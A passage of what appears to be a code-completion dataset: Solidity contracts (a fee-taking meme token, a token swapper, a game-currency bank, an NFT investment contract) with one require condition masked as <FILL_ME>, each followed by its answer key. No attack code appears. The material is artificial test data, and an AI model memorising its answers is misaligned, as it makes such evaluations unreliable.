address tokenAddress
) public returns (bool) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function activateTrading() public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require((redisFeeOnBuy + taxFeeOnBuy) <= 25);
require(<FILL_ME>)
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function removeLimits() public onlyOwner{
}
}
| (redisFeeOnSell+taxFeeOnSell)<=25 | 250,361 | (redisFeeOnSell+taxFeeOnSell)<=25 |
"Must keep fees at 20% or less" | /*
https://saylormoonerc.com/
https://t.me/saylormoonerc
https://twitter.com/saylormoonerc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _generateSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface UniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface UniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract SMOON is ERC20, Ownable {
UniswapV2Router public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
uint256 public maxWallet;
uint256 public maxTxnAmount;
bool private swapping;
uint256 public swapTokensAtAmount;
uint256 public swapLimit;
address devWallet;
mapping (address => bool) public bot;
bool public limitsInEffect = true;
bool public tradingLive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyFee;
uint256 public sellFee;
uint256 public taxedTokens;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedTxnAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerManualCollection(uint256 timestamp);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"Saylor Moon", unicode"SMOON") {
}
receive() external payable {}
// ENABLE TRADING
function enableTrading() external onlyOwner {
}
// REMOVE TXN LIMITS
function removeLimits() external onlyOwner {
}
function updateTxnAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
buyFee = _buyFee;
sellFee = _sellFee;
require(<FILL_ME>)
require((sellFee / 100) <= 25, "Must keep fees at 25% or less");
}
function updateBot(address wallet, bool isBot) external onlyOwner {
}
function updateBots(address[] calldata wallets, bool isBot) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function collectFees() private {
}
function manualCollection() external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| (buyFee/100)<=20,"Must keep fees at 20% or less" | 250,442 | (buyFee/100)<=20 |
"Must keep fees at 25% or less" | /*
https://saylormoonerc.com/
https://t.me/saylormoonerc
https://twitter.com/saylormoonerc
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _generateSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface UniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface UniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract SMOON is ERC20, Ownable {
UniswapV2Router public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
uint256 public maxWallet;
uint256 public maxTxnAmount;
bool private swapping;
uint256 public swapTokensAtAmount;
uint256 public swapLimit;
address devWallet;
mapping (address => bool) public bot;
bool public limitsInEffect = true;
bool public tradingLive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyFee;
uint256 public sellFee;
uint256 public taxedTokens;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedTxnAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerManualCollection(uint256 timestamp);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"Saylor Moon", unicode"SMOON") {
}
receive() external payable {}
// ENABLE TRADING
function enableTrading() external onlyOwner {
}
// REMOVE TXN LIMITS
function removeLimits() external onlyOwner {
}
function updateTxnAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
buyFee = _buyFee;
sellFee = _sellFee;
require((buyFee / 100) <= 20, "Must keep fees at 20% or less");
require(<FILL_ME>)
}
function updateBot(address wallet, bool isBot) external onlyOwner {
}
function updateBots(address[] calldata wallets, bool isBot) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function collectFees() private {
}
function manualCollection() external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| (sellFee/100)<=25,"Must keep fees at 25% or less" | 250,442 | (sellFee/100)<=25 |
"Only verified operators" | // SPDX-License-Identifier: MIXED
pragma solidity 0.8.10;
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Pair.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto
contract BoringOwnableData {
address public owner;
address public pendingOwner;
}
contract BoringOwnable is BoringOwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
}
}
interface IBentoBoxV1 {
function balanceOf(IERC20 token, address user) external view returns (uint256 share);
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function toAmount(
IERC20 token,
uint256 share,
bool roundUp
) external view returns (uint256 amount);
function toShare(
IERC20 token,
uint256 amount,
bool roundUp
) external view returns (uint256 share);
function transfer(
IERC20 token,
address from,
address to,
uint256 share
) external;
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
// License-Identifier: MIT
interface Cauldron {
function accrue() external;
function withdrawFees() external;
function accrueInfo()
external
view
returns (
uint64,
uint128,
uint64
);
function bentoBox() external returns (address);
function setFeeTo(address newFeeTo) external;
function feeTo() external returns (address);
function masterContract() external returns (Cauldron);
}
interface CauldronV1 {
function accrue() external;
function withdrawFees() external;
function accrueInfo() external view returns (uint64, uint128);
function setFeeTo(address newFeeTo) external;
function feeTo() external returns (address);
function masterContract() external returns (CauldronV1);
}
interface AnyswapRouter {
function anySwapOutUnderlying(
address token,
address to,
uint256 amount,
uint256 toChainID
) external;
}
interface CurvePool {
function exchange(
uint256 i,
uint256 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy,
address receiver
) external returns (uint256);
}
contract InchSpellSwapper is BoringOwnable {
using SafeERC20 for IERC20;
IERC20 public constant MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
address public constant SPELL = 0x090185f2135308BaD17527004364eBcC2D37e5F6;
address public constant sSPELL = 0x26FA3fFFB6EfE8c1E69103aCb4044C26B9A106a9;
mapping(address => bool) public verified;
constructor(
) {
}
modifier onlyVerified() {
require(<FILL_ME>)
_;
}
function rescueTokens(
IERC20 token,
address to,
uint256 amount
) external onlyOwner {
}
function swapMimForSpell1Inch(address inchrouter, bytes calldata data) external onlyVerified {
}
function setVerified(address operator, bool status) external onlyOwner {
}
}
| verified[msg.sender],"Only verified operators" | 250,470 | verified[msg.sender] |
"Not Enough $STYX." | // SPDX-License-Identifier: MIT LICENSE
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity 0.8.4;
contract BGFSTYXV2 is Ownable {
address public hellspawn;
address public familiars;
address public towers;
bool public claimingEnabled = true;
bool public spendingEnabled = true;
mapping(address => uint256) public bank;
function getBankBalance(address _address) public view returns (uint256) {
}
function spendBalanceHellspawn(address _address, uint256 _amount) public {
require(spendingEnabled, "Balance spending functions are disabled.");
require(msg.sender == hellspawn, "Not Allowed.");
require(<FILL_ME>)
bank[_address] -= _amount;
}
function spendBalanceFamiliars(address _address, uint256 _amount) public {
}
function spendBalanceTowers(address _address, uint256 _amount) public {
}
function addStyxBalance(address _address, uint256 _amount)
public
onlyOwner
{
}
function decrStyxBalance(address _address, uint256 _amount)
public
onlyOwner
{
}
function setStyxBalance(address _address, uint256 _amount)
public
onlyOwner
{
}
//Only Owner
function setHellspawnAddress(address _address) public onlyOwner {
}
function setFamiliarsAddress(address _address) public onlyOwner {
}
function setTowersAddress(address _address) public onlyOwner {
}
function toggleSpending(bool _state) public onlyOwner {
}
}
| bank[_address]>=_amount,"Not Enough $STYX." | 250,545 | bank[_address]>=_amount |
"DHT: buy operation already performed" | pragma solidity ^0.8.0;
// Contract
contract DummyDiamond is StandardERC721 {
using SafeMath for uint256;
// Customized
uint256 private constant MAX_INT = 2**256 - 1;
uint256 private constant UNIT_PRICE = 120000000; // 120 USDC
uint256 private constant INVEST_PER_SLOT = 10000000; // 10 USDC
uint256 private constant MATURITY_SLOTS = UNIT_PRICE / INVEST_PER_SLOT;
uint256 private constant INTERVAL = 1 days; // 30 days for production
string private constant INTERVAL_STR = 'days'; // 'months' for production
uint256 private constant MAX_SLIPPAGE = 5000;
IUniswapFactory private factory;
IUniswapRouter private router;
address[] private PATH02;
address[] private PATH20;
address[] private PATH21;
address private wethAddress;
address private wbtcAddress;
address private usdcAddress;
mapping(uint256 => Property) public tokenProperties;
mapping(uint256 => Slot) public slots;
struct Property {
uint256 startSlot;
bool redeemed;
}
struct Slot {
bool exist;
bool bought;
uint256 wethBalance;
uint256 wbtcBalance;
uint256 usdcInvest;
}
// Constructor
constructor() {
}
function init() external onlyOwner returns (bool) {
}
// Receive
receive() external payable {}
// Public Functions
function mint() external payable returns (bool) {
}
function buy(uint256 _slippage) external onlyOwner returns (bool) {
Slot storage slot = slots[getCurrentSlot()];
require(<FILL_ME>)
uint256 slippage = _slippage > MAX_SLIPPAGE ? MAX_SLIPPAGE : _slippage;
uint256 wethInvest = slot.usdcInvest / 2;
uint256 wethOutput = getOutput(usdcAddress, wethAddress, wethInvest);
uint256 wethOutputMin = wethOutput.sub(wethOutput.mul(slippage) / 100000);
uint256[] memory wethAmounts = router.swapExactTokensForETH(wethInvest, wethOutputMin, PATH20, address(this), block.timestamp + 20 minutes);
slot.wethBalance = wethAmounts[wethAmounts.length - 1];
uint256 wbtcInvest = slot.usdcInvest - wethInvest;
uint256 wbtcOutput = getOutput(usdcAddress, wbtcAddress, wbtcInvest);
uint256 wbtcOutputMin = wbtcOutput.sub(wbtcOutput.mul(slippage) / 100000);
uint256[] memory wbtcAmounts = router.swapExactTokensForTokens(wbtcInvest, wbtcOutputMin, PATH21, address(this), block.timestamp + 20 minutes);
slot.wbtcBalance = wbtcAmounts[wbtcAmounts.length - 1];
slot.bought = true;
return true;
}
function redeem(uint256 _tokenId) external returns (bool) {
}
// View Functions (Public)
function getCurrentSlot() public view returns (uint256) {
}
function getAttributes(uint256 _tokenId) private view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view returns (string memory) {
}
function estimateEthForUnitPrice() external view returns (uint256 ethAmount) {
}
function getValue(uint256 _tokenId) public view returns (uint256 startSlot, bool redeemed, uint256 count, uint256 ethAsset, uint256 btcAsset, uint256 usdcAsset, uint256 ethPrice, uint256 btcPrice) {
}
function getConstants() external pure returns (
uint256 unitPrice,
uint256 investPerSlot,
uint256 maturitySlots,
uint256 interval,
uint256 maxSlippage
) {
}
// View Function (Private)
function getOutput(address _tokenIn, address _tokenOut, uint256 _amount) private view returns (uint256 baseOutput) {
}
function getInput(address _tokenIn, address _tokenOut, uint256 _amount) private view returns (uint amountIn) {
}
function getEthPrice() private view returns (uint256 ethPrice) {
}
function getBtcPrice() private view returns (uint256 btcPrice) {
}
// For Testing
function emergencyExit() external onlyOwner {
}
function destruct() external onlyOwner {
}
}
| !slot.bought,"DHT: buy operation already performed" | 250,590 | !slot.bought |
"DHT: already redeemed" | pragma solidity ^0.8.0;
// Contract
contract DummyDiamond is StandardERC721 {
using SafeMath for uint256;
// Customized
uint256 private constant MAX_INT = 2**256 - 1;
uint256 private constant UNIT_PRICE = 120000000; // 120 USDC
uint256 private constant INVEST_PER_SLOT = 10000000; // 10 USDC
uint256 private constant MATURITY_SLOTS = UNIT_PRICE / INVEST_PER_SLOT;
uint256 private constant INTERVAL = 1 days; // 30 days for production
string private constant INTERVAL_STR = 'days'; // 'months' for production
uint256 private constant MAX_SLIPPAGE = 5000;
IUniswapFactory private factory;
IUniswapRouter private router;
address[] private PATH02;
address[] private PATH20;
address[] private PATH21;
address private wethAddress;
address private wbtcAddress;
address private usdcAddress;
mapping(uint256 => Property) public tokenProperties;
mapping(uint256 => Slot) public slots;
struct Property {
uint256 startSlot;
bool redeemed;
}
struct Slot {
bool exist;
bool bought;
uint256 wethBalance;
uint256 wbtcBalance;
uint256 usdcInvest;
}
// Constructor
constructor() {
}
function init() external onlyOwner returns (bool) {
}
// Receive
receive() external payable {}
// Public Functions
function mint() external payable returns (bool) {
}
function buy(uint256 _slippage) external onlyOwner returns (bool) {
}
function redeem(uint256 _tokenId) external returns (bool) {
require(ownerOf(_tokenId) == msg.sender, "DHT: not your token");
require(<FILL_ME>)
uint256 startSlot = tokenProperties[_tokenId].startSlot;
require(getCurrentSlot() >= startSlot + MATURITY_SLOTS, "DHT: not matured");
uint256 wethAmount; uint256 wbtcAmount;
for(uint256 i = 0; i < MATURITY_SLOTS; i++) {
Slot memory slot = slots[startSlot + i];
wethAmount = wethAmount.add(slot.wethBalance / (slot.usdcInvest / INVEST_PER_SLOT));
wbtcAmount = wbtcAmount.add(slot.wbtcBalance / (slot.usdcInvest / INVEST_PER_SLOT));
}
payable(msg.sender).transfer(wethAmount);
IERC20(wbtcAddress).transfer(msg.sender, wbtcAmount);
tokenProperties[_tokenId].redeemed = true;
return true;
}
// View Functions (Public)
function getCurrentSlot() public view returns (uint256) {
}
function getAttributes(uint256 _tokenId) private view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view returns (string memory) {
}
function estimateEthForUnitPrice() external view returns (uint256 ethAmount) {
}
function getValue(uint256 _tokenId) public view returns (uint256 startSlot, bool redeemed, uint256 count, uint256 ethAsset, uint256 btcAsset, uint256 usdcAsset, uint256 ethPrice, uint256 btcPrice) {
}
function getConstants() external pure returns (
uint256 unitPrice,
uint256 investPerSlot,
uint256 maturitySlots,
uint256 interval,
uint256 maxSlippage
) {
}
// View Function (Private)
function getOutput(address _tokenIn, address _tokenOut, uint256 _amount) private view returns (uint256 baseOutput) {
}
function getInput(address _tokenIn, address _tokenOut, uint256 _amount) private view returns (uint amountIn) {
}
function getEthPrice() private view returns (uint256 ethPrice) {
}
function getBtcPrice() private view returns (uint256 btcPrice) {
}
// For Testing
function emergencyExit() external onlyOwner {
}
function destruct() external onlyOwner {
}
}
| !tokenProperties[_tokenId].redeemed,"DHT: already redeemed" | 250,590 | !tokenProperties[_tokenId].redeemed |
"DHT: not matured" | pragma solidity ^0.8.0;
// Contract
contract DummyDiamond is StandardERC721 {
using SafeMath for uint256;
// Customized
uint256 private constant MAX_INT = 2**256 - 1;
uint256 private constant UNIT_PRICE = 120000000; // 120 USDC
uint256 private constant INVEST_PER_SLOT = 10000000; // 10 USDC
